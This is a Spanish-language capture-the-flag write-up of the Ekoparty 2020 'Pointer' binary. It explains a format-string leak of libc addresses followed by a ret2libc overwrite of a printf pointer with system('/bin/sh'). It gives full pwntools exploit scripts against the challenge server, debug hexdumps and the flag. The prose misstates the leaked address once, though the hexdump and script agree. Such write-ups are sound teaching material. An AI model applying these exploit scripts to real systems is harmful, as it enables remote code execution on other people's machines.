Pointer (Pwn) – Ekoparty 2020 Pre-CTF [ES]

Este binario vulnerable fue parte de los desafíos de la categoría misc en el Pre-CTF de la Ekoparty 2020. Lo pueden descargar acá. Para resolverlo hay que combinar un ataque de format strings con ret2libc.

Primero veamos que tipo de archivo es con file

Pointer: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32

Es un ejecutable de Linux de 64 bits dinámicamente linkeado. Si lo ejecutamos nos saluda y espera un input que luego imprime.

output

Si lo desensamblamos podemos ver un par de cosas. En primer lugar reserva espacio en el stack para un buffer de 0x40 bytes y para cuatro variables de 8 bytes cada una.

desensamblado

Un poco más abajo podemos ver que usa esas variables para guardar punteros a las funciones en la Procedure linkage table (PLT) y que usa esos punteros para llamarlas. Por ejemplo, acá se ve como llama a printf para imprimir “Welcome bro” copiando el puntero a rax y luego ejecutando call rax.

desensamblado2

Es así como nos pide el input pasando la dirección del buffer a gets y vemos que después usa el mismo puntero como único argumento de printf. Por lo tanto podemos hacer un ataque de format string. Pueden ver más sobre esto acá, acá o acá.

desensamblado3

Hagamos un script para poder realizar el ataque e imprmir la dirección de gets. Esta dirección nos va a servir para calcular las posiciones de otras funciones de libc que vamos a usar para tomar control remoto. Para esto usamos una libraria de Python que se llama pwntools.

from pwn import *

context.log_level = 'debug'

gets_got = 0x601040

payload = "%7$s    "
payload += p64(gets_got)

p = remote("52.202.106.196", 61338)
p.recvline()
p.sendline(payload)
p.recvall()

Vemos que el payload esta compuesto por dos partes. Primero el format string que va imprimir el 8vo argumento como si fuera un puntero a string seguido de un poco de espacio. Segundo una dirección. Como es un ejecutable de 64 bits, printf toma los primeros seis argumentos por registros pero luego empieza a tomar los sucesivos argumentos del stack. Como nuestro buffer está en el stack podemos lograr, jugando con el format string y su largo, que el mismo buffer sea tomado como un argumento (el séptimo argumento apunta al principio del buffer y el octavo a la dirección). En este caso particular estamos haciendo que tome como argumento la entrada correspondiente a gets en la Global offset table (GOT). Ese octavo argumento es 0x601040 lo que podemos verificar cambiando $s por $p para que imprima el argumento como un puntero. Como resultado de todo esto printf va a escribir en la terminal el contenido de la entrada de gets en la GOT, es decir su dirección en la memoria.

Como las direcciones de memoria no siempre resultan en caracteres imprimibles, activamos el modo debug de pwntools para que nos muestre un hexdump de todo lo que envía y recibe. Este es el resultado de ejecutar el script.

[+] Opening connection to 52.202.106.196 on port 61338: Done
[DEBUG] Received 0xc bytes:
    'Welcome Bro\n'
[DEBUG] Sent 0x11 bytes:
    00000000  25 37 24 73  20 20 20 20  40 10 60 00  00 00 00 00  │%7$s│    │@·`·│····│
    00000010  0a                                                  │·│
    00000011
[+] Receiving all data: Done (13B)
[DEBUG] Received 0xd bytes:
    00000000  80 bd a7 f7  ff 7f 20 20  20 20 40 10  60           │····│··  │  @·│`│
    0000000d
[*] Closed connection to 52.202.106.196 port 61338

Podemos ver que la dirección de gets está en los primeros 6 bytes recibidos en formato little endian y es 0x7ffff7a7db80.

Si ejecutamos el script de nuevo vemos que la dirección no cambia. Esto va a facilitar las cosas porque el espacio de memoria no se está aleatorizando o el programa no se está cargando en memoria de cero cada vez (por ejemplo el servidor podría estar forkeando el proceso nuevo recibiendo una copia del espacio de memoria del proceso padre). Si no fuera así tendríamos que ingeniárnoslas para leakear esa dirección y además que el programa siga ejecutando. Una opción posible es usar el mismo format string para que, además de leakear la dirección, pise la dirección de otra función en la GOT, por ejemplo exit (ver formato %n). Si pisáramos esta dirección con la dirección del main podemos hacer que el programa se ejecute una y otra vez permitiendo en una ejecución de main leakear y en otra explotar el binario sin que el mismo se cierre y se vuelva a aleatorizar el espacio de memoria cambiando las direcciones que ahora conocemos.

Pero bueno, por suerte no hace falta hacer todo esto (aunque es un buen ejercicio) así que aprovechemos esa dirección de gets que conocemos para averiguar la dirección de la función que nos gustaría ejecutar. Vamos a ejecutar system("/bin/sh") para poder tener una terminal.

Para eso podemos usar esta web o clonarnos este repo.

En la web ingresamos el nombre de la función cuya dirección conocemos y los ultimos 12 bits de su dirección. Esto sirve para tratar de identificar que versión de libc está corriendo en el servidor y así poder calcular la dirección de la función system. Ingresamos sólo los úlitmos 12 porque cuando se aleatoriza el espacio de memoria en general se hace a nivel de página y entonces estos bits se mantienen constantes.

base de datos libc

Obtenemos dos versiones de libc posibles. En este caso funcionó la primera. Vemos que system se encuetnra en la posición 0x45390 respecto del inicio de libc y gets en la posición 0x6ed80.

base de datos libc 2

Con estos datos ya podemos explotar el binario usando el siguiente script.

from pwn import *

# context.update(arch='ia64', os='linux')
context.log_level = 'debug'

# Calculamos las direcciones
gets_libc = 0x7ffff7a7bd80

offset_gets = 0x06ed80
offset_system = 0x045390

system_libc = offset_system + (gets_libc-offset_gets)

payload2  = "/bin/sh\00"  # welcome bro pointer
payload2 += "A" * (0x40 - len(payload2)) # padding
payload2 += "B" * 0x8       # pisa fflush
payload2 += "C" * 0x8       # pisa exit
payload2 += "D" * 0x8       # pisa gets
payload2 += p64(system_libc)# pisa printf

p = remote("52.202.106.196", 61338)
p.recvline()
p.sendline(payload2)
p.interactive()

Lo que hacemos es calcular la posición en memoria de la función system conociendo la posición en memoria de gets y los offsets de ambas respecto del inicio de libc (gets_libc - offset_gets equivale al inicio de libc en memoria). Luego aprovechamos que el programa ya hace un llamado a printf luego de gets de la siguiente forma.

desensamblado 3

Podemos ver que al llamar a printf el valor de rdi, que contiene el primer argumento, apunta a nuestro buffer. Basta entonces con escribir en nuestro buffer el binario que queremos ejecutar mediante la llamada a system y luego pisar el puntero a printf con el puntero a system en libc que acabamos de calcular. Al ejecutar este script obtendremos una shell remota y podemos imprimir el valor de la flag.

[+] Opening connection to 52.202.106.196 on port 61338: Done
[DEBUG] Received 0xc bytes:
    'Welcome Bro\n'
[DEBUG] Sent 0x61 bytes:
    00000000  2f 62 69 6e  2f 73 68 00  41 41 41 41  41 41 41 41  │/bin│/sh·│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000040  42 42 42 42  42 42 42 42  43 43 43 43  43 43 43 43  │BBBB│BBBB│CCCC│CCCC│
    00000050  44 44 44 44  44 44 44 44  90 23 a5 f7  ff 7f 00 00  │DDDD│DDDD│·#··│····│
    00000060  0a                                                  │·│
    00000061
[*] Switching to interactive mode
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    'cat flag.txt\n'
[DEBUG] Received 0x1e bytes:
    'EKO{AreYouReadyFor#Pwndemic?}\n'
EKO{AreYouReadyFor#Pwndemic?}